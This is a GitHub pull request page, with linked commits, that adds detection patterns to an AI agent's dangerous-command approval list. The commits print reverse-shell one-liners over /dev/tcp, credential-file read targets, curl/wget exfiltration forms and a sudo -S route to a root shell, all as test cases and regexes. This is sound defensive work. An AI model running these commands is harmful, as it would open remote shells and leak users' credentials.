Skip to content

security: add data exfiltration detection to dangerous command patterns#7993

Open
SHL0MS wants to merge 1 commit into
NousResearch:mainfrom
SHL0MS:fix/security-exfiltration-patterns
Open

security: add data exfiltration detection to dangerous command patterns#7993
SHL0MS wants to merge 1 commit into
NousResearch:mainfrom
SHL0MS:fix/security-exfiltration-patterns

Conversation

@SHL0MS

@SHL0MS SHL0MS commented Apr 11, 2026

Copy link
Copy Markdown
Collaborator

Add exfiltration patterns to DANGEROUS_PATTERNS: netcat to external IPs, bash /dev/tcp and /dev/udp, openssl s_client, curl with data upload, wget with POST data, and credential file reads via cat/head/tail/less/more/bat. These trigger approval prompts, not hard blocks. 9 lines in tools/approval.py. Ref #4170. Split from #4168.

Add patterns for: netcat to external IPs, bash /dev/tcp and /dev/udp,
openssl s_client, curl with data upload, wget with POST data, and
credential file reads via cat/head/tail/less/more/bat targeting
.ssh/, .env, .gnupg/, .kube/config, .netrc, aws/credentials.

These trigger approval prompts, not hard blocks. Ref NousResearch#4170.
Split from NousResearch#4168.
@SHL0MS SHL0MS added the type/bug Something isn't working label Apr 11, 2026
briandevans added a commit to briandevans/hermes-agent that referenced this pull request May 6, 2026
Adds a fourth pattern to DANGEROUS_PATTERNS that closes the
`bash -i >& /dev/tcp/<host>/<port> 0>&1` redirection-style reverse-shell
class identified by @fr33d3m0n in NousResearch#17962 review (the first suggested
pattern in NousResearch#17873 category 1).

The existing rules added in 5cb051a cover `nc -e` / `socat EXEC:` /
two-stage download-execute, but the bash-redirection form spawns a shell
whose stdio is wired to a TCP socket without using `-e` / `EXEC:` /
`bash -c`, so none of the existing patterns fire.

Anchor on the redirection target (`[<>]` followed by optional
`&` / fd-number then `/dev/tcp/` or `/dev/udp/`) rather than the shell
name — that's tighter than `\b(bash|sh|zsh)\b.*[<>].*(/dev/tcp/|/dev/udp/)`
and covers all four variants in the issue:

  * `bash -i >& /dev/tcp/host/4444 0>&1`            (canonical)
  * `/bin/bash -i >& /dev/tcp/host/9001 0>&1`       (absolute path)
  * `bash -i 5<>/dev/tcp/host/4444 0<&5 1>&5 2>&5`  (numeric FD)
  * `exec 196<>/dev/tcp/host/4444; sh <&196 >&196`  (raw exec, no shell name)

Common benign usage stays safe — bare `/dev/tcp/` string matches (`grep
'/dev/tcp/' logs.txt`) lack the `[<>]` anchor; unrelated `>` redirections
(`echo hi > out.txt`, `make 2>&1 | tee build.log`) lack the
`/dev/(tcp|udp)/` target.

Regression guard before/after:

| Command                                          | Before | After |
|--------------------------------------------------|--------|-------|
| `bash -i >& /dev/tcp/host/4444 0>&1`             | BYPASS | DETECTED |
| `bash -i 5<>/dev/tcp/host/4444 0<&5 1>&5 2>&5`   | BYPASS | DETECTED |
| `exec 196<>/dev/tcp/host/4444; sh <&196 >&196`   | BYPASS | DETECTED |
| `bash -i >& /dev/udp/host/4444 0>&1`             | BYPASS | DETECTED |
| `grep '/dev/tcp/' logs.txt`                      | safe   | safe  |
| `echo hello > out.txt`                           | safe   | safe  |
| `make 2>&1 | tee build.log`                      | safe   | safe  |

Tests: `tests/tools/test_approval.py` 155 -> 161 (10 new in
TestDetectReverseShellRedirection — 6 positive, 4 negative).
Adjacent suites (`test_cron_approval_mode.py`, `test_approval_plugin_hooks.py`,
`test_approval_heartbeat.py`) — 29/29 pass.

Note on overlap with NousResearch#7993: SHL0MS' open NousResearch#7993 has a broader bare
`r'/dev/tcp/'` pattern as part of a data-exfil block. That pattern would
also catch these reverse-shell forms but at the cost of false-positives
on benign log-grep / string-search usage (no anchor on `[<>]`). The
narrower regex here is what fr33d3m0n proposed and verified in their
review, and is complementary if both PRs land — there's no
double-detection collision because the pattern keys are distinct.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@fr33d3m0n

Copy link
Copy Markdown

Hi @SHL0MS — surfacing this PR's relationship to two adjacent works that landed after #7993 was filed, in case it helps maintainer review.

Issue #17873 (filed 2026-04-30) lists 5 categories of recommended DANGEROUS_PATTERNS extensions. This PR (#7993) and a sibling PR (#17962) end up covering different subsets:

#17873 category #7993 (this PR) #17962
1a Reverse shell nc -e ✅ (IP-only via \d+\.\d+\.\d+\.\d+) ✅ (bash-target via -e .* (bash|sh))
1b Reverse shell socat EXEC partial (IP regex misses hostnames)
1c Reverse shell bash /dev/tcp/ ✅ (bare match) ✅ (redirection-anchored)
2 Two-stage download-execute
3 Credential-file read ✅ (cat|head|tail|less|more|bat × .ssh/, aws/credentials, .env, .netrc, .gnupg/, .kube/config)
5 Data exfiltration (curl -d @file, wget --post-data)

The two PRs are complementary, not redundant:

Two practical notes if/when this gets review:

  1. Rebase needed. The patch context at tools/approval.py:130 no longer exists — the file has been substantially restructured upstream since 2026-04-11 (DANGEROUS_PATTERNS list grew with several merges, including 5cb051a35 and bb2141266). Happy to send a rebased version if useful.
  2. Bare /dev/tcp/ FP exposure: grep '/dev/tcp/' logs.txt and similar log-analysis usages would trip the bare pattern. Approval-prompt-not-block (which is what this PR does) makes that survivable, but if false-positive volume becomes a complaint, anchoring on [<>] (per fix(approval): catch reverse-shell-via-flag and two-stage download-execute #17962) is a known mitigation.

Description string "bash /dev/tcp exfiltration" reads cleanly in approval prompts; nice choice.

kshitijk4poor pushed a commit that referenced this pull request May 11, 2026
Adds the only #17873 category not covered by the in-flight PRs #17962
(briandevans, reverse shell + download-execute) and #7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: #17873 category 4. Adjacent: #17962 (reverse shell + download-
execute), #7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
kshitijk4poor pushed a commit that referenced this pull request May 11, 2026
Adds the only #17873 category not covered by the in-flight PRs #17962
(briandevans, reverse shell + download-execute) and #7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: #17873 category 4. Adjacent: #17962 (reverse shell + download-
execute), #7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
rmulligan pushed a commit to rmulligan/hermes-agent that referenced this pull request May 11, 2026
Adds the only NousResearch#17873 category not covered by the in-flight PRs NousResearch#17962
(briandevans, reverse shell + download-execute) and NousResearch#7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: NousResearch#17873 category 4. Adjacent: NousResearch#17962 (reverse shell + download-
execute), NousResearch#7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
JinyuID pushed a commit to JinyuID/hermes-agent that referenced this pull request May 11, 2026
Adds the only NousResearch#17873 category not covered by the in-flight PRs NousResearch#17962
(briandevans, reverse shell + download-execute) and NousResearch#7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: NousResearch#17873 category 4. Adjacent: NousResearch#17962 (reverse shell + download-
execute), NousResearch#7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
02356abc pushed a commit to 02356abc/hermes-agent that referenced this pull request May 14, 2026
Adds the only NousResearch#17873 category not covered by the in-flight PRs NousResearch#17962
(briandevans, reverse shell + download-execute) and NousResearch#7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: NousResearch#17873 category 4. Adjacent: NousResearch#17962 (reverse shell + download-
execute), NousResearch#7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
jsboige pushed a commit to jsboige/hermes-agent that referenced this pull request May 14, 2026
Adds the only NousResearch#17873 category not covered by the in-flight PRs NousResearch#17962
(briandevans, reverse shell + download-execute) and NousResearch#7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: NousResearch#17873 category 4. Adjacent: NousResearch#17962 (reverse shell + download-
execute), NousResearch#7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
AlexFoxD pushed a commit to AlexFoxD/hermes-agent that referenced this pull request May 21, 2026
Adds the only NousResearch#17873 category not covered by the in-flight PRs NousResearch#17962
(briandevans, reverse shell + download-execute) and NousResearch#7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: NousResearch#17873 category 4. Adjacent: NousResearch#17962 (reverse shell + download-
execute), NousResearch#7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
gweeteve pushed a commit to gweeteve/hermes-agent that referenced this pull request Jun 2, 2026
Adds the only NousResearch#17873 category not covered by the in-flight PRs NousResearch#17962
(briandevans, reverse shell + download-execute) and NousResearch#7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.

The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.

Two patterns:

  1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
     The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
     command separators, so `sudo -u root -S whoami` matches (a textbook
     offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
     pattern would have missed because `root` is a flag-value not a flag).

  2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
     Catches packed forms like `sudo -nS id` where multiple flags share
     a single `-X` token.

`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.

Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).

Empirical coverage: 11/11 attacks matched, 0/10 false positives.

Refs: NousResearch#17873 category 4. Adjacent: NousResearch#17962 (reverse shell + download-
execute), NousResearch#7993 (credential reads + curl/wget exfiltration).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

type/bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants